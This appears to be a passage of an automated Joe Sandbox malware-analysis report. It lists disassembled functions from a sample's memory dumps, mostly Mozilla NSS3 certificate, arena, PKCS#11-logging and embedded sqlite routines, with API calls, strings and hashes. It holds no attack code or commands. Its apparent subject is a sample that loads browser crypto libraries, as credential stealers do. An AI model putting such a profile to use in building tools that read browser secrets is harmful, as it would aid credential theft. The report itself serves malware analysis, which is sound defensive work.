PR_SetError.NSS3(FFFFE040,00000000), ref: 6CF63E4F

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

TlsGetValue.KERNEL32 ref: 6CF63E97
EnterCriticalSection.KERNEL32(?), ref: 6CF63EAB
PR_Unlock.NSS3(?), ref: 6CF63ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CF63EEE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 649506ad9dff4b11a2370d47451364c52c0845735ed3216a1022049b996332c7
Instruction ID: 758508f7e8182e91e4091036a5294f45a72827f35101f7252b0d65734880b514
Opcode Fuzzy Hash: 649506ad9dff4b11a2370d47451364c52c0845735ed3216a1022049b996332c7
Instruction Fuzzy Hash: 165135729006109FDB119F2ADC44BAB77B4EF56328F054528DE095BE22EB31E85CCBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF12C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1134948F), ref: 6CF12C5D

Part of subcall function 6CF70D30: calloc.MOZGLUE ref: 6CF70D50
Part of subcall function 6CF70D30: TlsGetValue.KERNEL32 ref: 6CF70D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,?), ref: 6CF12C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF12CE0

Part of subcall function 6CF12E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CF12CDA,?,00000000), ref: 6CF12E1E
Part of subcall function 6CF12E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CF12E33
Part of subcall function 6CF12E00: TlsGetValue.KERNEL32 ref: 6CF12E4E
Part of subcall function 6CF12E00: EnterCriticalSection.KERNEL32(?), ref: 6CF12E5E
Part of subcall function 6CF12E00: PL_HashTableLookup.NSS3(?), ref: 6CF12E71
Part of subcall function 6CF12E00: PL_HashTableRemove.NSS3(?), ref: 6CF12E84
Part of subcall function 6CF12E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CF12E96
Part of subcall function 6CF12E00: PR_Unlock.NSS3 ref: 6CF12EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF12D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CF12D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CF12D3F
free.MOZGLUE(00000000), ref: 6CF12D73
CERT_DestroyCertificate.NSS3(?), ref: 6CF12DB8
free.MOZGLUE ref: 6CF12DC8

Part of subcall function 6CF13E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF13EC2
Part of subcall function 6CF13E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF13ED6
Part of subcall function 6CF13E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF13EEE
Part of subcall function 6CF13E60: PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF13F02
Part of subcall function 6CF13E60: PL_FreeArenaPool.NSS3 ref: 6CF13F14
Part of subcall function 6CF13E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF13F27

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 2cbc9081c5485476e73edc71cc606d588b24b127dc5ecaf781d545aadc28ac16
Instruction ID: b8701ee4876fcc9bc9deb81972ac9c91745833bd27504d01289969c0244bd2b5
Opcode Fuzzy Hash: 2cbc9081c5485476e73edc71cc606d588b24b127dc5ecaf781d545aadc28ac16
Instruction Fuzzy Hash: B351E3716183119BDB00DFA9DC44B5B77E5EF85318F14042CEC5593B50EB32E815CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF17CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF140D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CF13F7F,?,00000055,?,?,6CF11666,?,?), ref: 6CF140D9
Part of subcall function 6CF140D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CF11666,?,?), ref: 6CF140FC
Part of subcall function 6CF140D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CF11666,?,?), ref: 6CF14138

PR_GetCurrentThread.NSS3 ref: 6CF17CFD

Part of subcall function 6CFD9BF0: TlsGetValue.KERNEL32(?,?,?,6D020A75), ref: 6CFD9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6D039030), ref: 6CF17D1B

Part of subcall function 6CF6FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CF11A3E,00000048,00000054), ref: 6CF6FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6D039048), ref: 6CF17D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CF17D50
PR_GetCurrentThread.NSS3 ref: 6CF17D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CF17D7D
free.MOZGLUE(?), ref: 6CF17D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CF17DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CF17E19

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 02fd8b15a0110efd9c14b386d514f996ca6e7d5286feae8285ba9269bc638116
Instruction ID: aa52d251c23078bc97b97b678628aadccb73bae378c2f1874cf22a67faa0f1ad
Opcode Fuzzy Hash: 02fd8b15a0110efd9c14b386d514f996ca6e7d5286feae8285ba9269bc638116
Instruction Fuzzy Hash: 4F41D176A1811E9BEB008F69EC41BAF37E4AF4525CF050126EC0DA7F51EB30E919C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF27EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CF280DD), ref: 6CF27F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CF280DD), ref: 6CF27F36
free.MOZGLUE(?,?,?,6CF280DD), ref: 6CF27F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CF280DD), ref: 6CF27F5D
DeleteCriticalSection.KERNEL32(?,6CF280DD), ref: 6CF27F94
free.MOZGLUE(?), ref: 6CF27F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CF280DD), ref: 6CF27FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CF280DD), ref: 6CF27FE6
free.MOZGLUE(?,6CF280DD), ref: 6CF2802D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d8cbe1f3d060dda7025de5cd61cee0618a67bf2422d5252746256cec3f411dc8
Instruction ID: 59c49f0d9233410cee7ddaea810a86e6c5ef1a1b8acfb4ffd7fc280b48d58f52
Opcode Fuzzy Hash: d8cbe1f3d060dda7025de5cd61cee0618a67bf2422d5252746256cec3f411dc8
Instruction Fuzzy Hash: DA4107B19051608BDF20DFF9C885B8B7BB9BB57318F14022AE519ABB41D734D409CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF6FF00

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CF6FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CF6FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CF6FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF6FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF6FF8C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: f0f950be290abec06f9da0b2f34c132b38b3256c404edcc2c321de8ea0687e52
Instruction ID: ba99a364e0f7315950b0799ad2c1a9a84d638cbaf15e47ff60d5a7a6da8fc594
Opcode Fuzzy Hash: f0f950be290abec06f9da0b2f34c132b38b3256c404edcc2c321de8ea0687e52
Instruction Fuzzy Hash: 3B3166B29053129BE7608F5AAC40B5B76A8AF82318F14423AED1D97B00EB71D914C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF73CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CF738BD), ref: 6CF73CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CF738BD), ref: 6CF73CD1

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CF738BD), ref: 6CF73CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D04B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CF738BD), ref: 6CF73D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CF738BD), ref: 6CF73D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D04B369,000000FF,00000000,00000000,00000000,6CF738BD), ref: 6CF73D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CF73D47
free.MOZGLUE(00000000), ref: 6CF73D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CF738BD), ref: 6CF73D6F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 20ee272b5683ded64e60cfaf170e9e19ae81e96e8c98d5cfa5c582a5cfad6c45
Instruction ID: a12c59b30cf11ef965bb653af18e609df7464652c46d409ed75e9aad5e65d3db
Opcode Fuzzy Hash: 20ee272b5683ded64e60cfaf170e9e19ae81e96e8c98d5cfa5c582a5cfad6c45
Instruction Fuzzy Hash: 2321BEB5A011567BFF30577B6C09F7B39AC9B867A9B140236B839D66C0EB60C80482B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF74DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CF7536F,00000022,?,?,00000000,?), ref: 6CF74E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CF74F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CF74F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CF74FAE
free.MOZGLUE(?), ref: 6CF74FC8

Strings

%s=%c%s%c, xrefs: 6CF74FA9
%s=%s, xrefs: 6CF74F89

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 7dbaee1c67bec6cc0f41d0c36c597732fd0f3a99435328e6b66fd0f5631436f5
Instruction ID: 751d76c9ea363f8321ff78fe789bfb199139f659de76e753306d18232a126f57
Opcode Fuzzy Hash: 7dbaee1c67bec6cc0f41d0c36c597732fd0f3a99435328e6b66fd0f5631436f5
Instruction Fuzzy Hash: F0513931A451468BEB21CB6DA490BFF7FF59F46318F288127E894A7A41D33588458FF1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CEB7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEB7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEB7ED8, 6CEB7F08, 6CEB7F19
%s at line %d of [%.10s], xrefs: 6CEB7EE7, 6CEB7F28
database corruption, xrefs: 6CEB7EE2, 6CEB7F23

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e215e2dd3b237e8af43e358305d4d7e185da695742c3257f7d289f4b6ce43d0b
Instruction ID: dd4496269572d142e2479f83c649d8467d083a23ad350cca21a2a46f97becb4b
Opcode Fuzzy Hash: e215e2dd3b237e8af43e358305d4d7e185da695742c3257f7d289f4b6ce43d0b
Instruction Fuzzy Hash: D4619070A042059FDB05CF65C990BBA37B2BF46308F2545A8ED096FB52D730EC56CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE9FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE9FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9FE83

Part of subcall function 6CE9FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CE9FEFA
Part of subcall function 6CE9FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CE9FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE9FD64, 6CE9FE26
%s at line %d of [%.10s], xrefs: 6CE9FD73, 6CE9FE35
database corruption, xrefs: 6CE9FD6E, 6CE9FE30

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 0161bf043fcc60b7f4ee957f924211dd169a28f37cff6615fe579b378a67190f
Instruction ID: 0789f046cc1d6eebc970aa8a7fcc08cc0d3eef4a585d2a56dabecfede21c0879
Opcode Fuzzy Hash: 0161bf043fcc60b7f4ee957f924211dd169a28f37cff6615fe579b378a67190f
Instruction Fuzzy Hash: 28518E71A00205DFDB04CFA9C990BAEB7B1FF48318F244069EA05AB752E735EC51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF28CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CF3124D,?), ref: 6CF28D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CF3124D,?), ref: 6CF28D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CF3124D,?), ref: 6CF28D73
PR_Unlock.NSS3(?,?,?,?,?,6CF3124D,?), ref: 6CF28D8C

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CF3124D,?), ref: 6CF28DBA

Strings

KRAM, xrefs: 6CF28CF9
KRAM, xrefs: 6CF28D3E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 590ee69a96aae9d1c6a6d19b4774e1b80457b73958069c1a75fdf292f04d454e
Instruction ID: a9ed78e75d77b515fc62793aa3380efb5137d894f04a7f74d0f1506e81597359
Opcode Fuzzy Hash: 590ee69a96aae9d1c6a6d19b4774e1b80457b73958069c1a75fdf292f04d454e
Instruction Fuzzy Hash: 9121A3B2A046018FCB00EF79C48475ABBF0FF45314F55896AD9888B701D738E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF4ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CF4ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF4AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF4AD23

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF4AD39

Strings

hSession = 0x%x, xrefs: 6CF4ACFE, 6CF4AD0E
C_MessageDecryptFinal, xrefs: 6CF4ACE1
(CK_INVALID_HANDLE), xrefs: 6CF4AD1C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 36742a06fb6a5d7b92c4d0174492b9cdd6cab76b354ebf438afd6c63b85e00f1
Instruction ID: c897a8c4f1babd15cf0475ab00872f4d25adfde561942bf4f12ea33f953d8a6a
Opcode Fuzzy Hash: 36742a06fb6a5d7b92c4d0174492b9cdd6cab76b354ebf438afd6c63b85e00f1
Instruction Fuzzy Hash: EB21F971905224AFEB109B64DC84BAB3BB5EB4771EF058039E909AB653DB349C48C792

Uniqueness

Uniqueness Score: -1.00%

Function 00418843 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041884F

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__amsg_exit.LIBCMT ref: 0041886F
__lock.LIBCMT ref: 0041887F
InterlockedDecrement.KERNEL32(?), ref: 0041889C
_free.LIBCMT ref: 004188AF
InterlockedIncrement.KERNEL32(00423530), ref: 004188C7

Strings

05B, xrefs: 004188B5, 004188BD

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: 05B
API String ID: 3470314060-3788103304
Opcode ID: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
